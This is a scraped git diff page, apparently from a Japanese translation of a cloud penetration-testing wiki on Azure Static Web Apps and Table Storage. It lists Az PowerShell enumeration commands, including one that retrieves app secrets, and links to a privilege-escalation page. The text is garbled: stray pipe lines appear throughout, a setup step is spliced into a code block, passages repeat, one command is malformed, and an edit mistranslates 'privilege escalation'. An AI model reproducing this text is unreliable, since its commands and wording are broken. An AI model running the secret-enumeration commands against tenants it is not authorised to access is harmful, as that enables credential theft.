以下のリンクでウェブアプリを生成するための良い例を見つけることができます: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
1. リポジトリ https://github.com/staticwebdev/react-basic/generate をあなたのGitHubアカウントにフォークし、`my-first-static-web-app`という名前を付けます
|
||||
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the build details for a specific Static Web App.
|
||||
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves functions for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves the configured roles for a Static Web App.
|
||||
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the custom domains configured for a Static Web App.
|
||||
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves details of the functions associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the secrets for a Static Web App.
|
||||
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves general app settings for a Static Web App.
|
||||
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||
|
||||
# Retrieves user-provided function apps associated with a Static Web App.
|
||||
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Webアプリを生成する例
|
||||
|
||||
以下のリンクでウェブアプリを生成する良い例を見つけることができます: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. リポジトリ https://github.com/staticwebdev/react-basic/generate をあなたのGitHubアカウントにフォークし、`my-first-static-web-app`と名付けます
|
||||
2. AzureポータルでStatic Web Appを作成し、GitHubアクセスを設定し、先にフォークした新しいリポジトリを選択します
|
||||
3. 作成し、数分待って、新しいページを確認してください!
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、および大規模データセットを効率的に処理するためのスケーラビリティを提供します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
|
||||
**Azure Table Storage** は、大量の構造化された非リレーショナルデータを保存するために設計された NoSQL キー-バリューストアです。高い可用性、低遅延、およびスケーラビリティを提供し、大規模なデータセットを効率的に処理します。データはテーブルに整理され、各エンティティはパーティションキーと行キーによって識別され、迅速な検索を可能にします。データは静止時の暗号化、ロールベースのアクセス制御、および安全で管理されたストレージのための共有アクセス署名などの機能をサポートしており、幅広いアプリケーションに適しています。
|
||||
|
||||
テーブルストレージには**組み込みのバックアップメカニズムはありません**。
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
|
||||
#### **その他のプロパティ (カスタムプロパティ)**
|
||||
|
||||
- PartitionKey と RowKey に加えて、エンティティはデータを保存するための追加の**カスタムプロパティを持つことができます**。これらはユーザー定義であり、従来のデータベースの列のように機能します。
|
||||
- PartitionKey と RowKey に加えて、エンティティはデータを保存するための追加の**カスタムプロパティを持つことができます**。これらはユーザー定義で、従来のデータベースの列のように機能します。
|
||||
- プロパティは**キー-バリューペア**として保存されます。
|
||||
- 例: `Name`、`Age`、`Title` は従業員のカスタムプロパティである可能性があります。
|
||||
|
||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
|
||||
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
@@ -78,11 +80,11 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
|
||||
> [!TIP]
|
||||
> 使用するアカウントキーを示すには、パラメータ `--account-key` を使用します\
|
||||
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します。
|
||||
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
ストレージの特権昇格と同様です:
|
||||
ストレージのプライベートエスカレーションと同様です:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
|
||||
Reference in New Issue
Block a user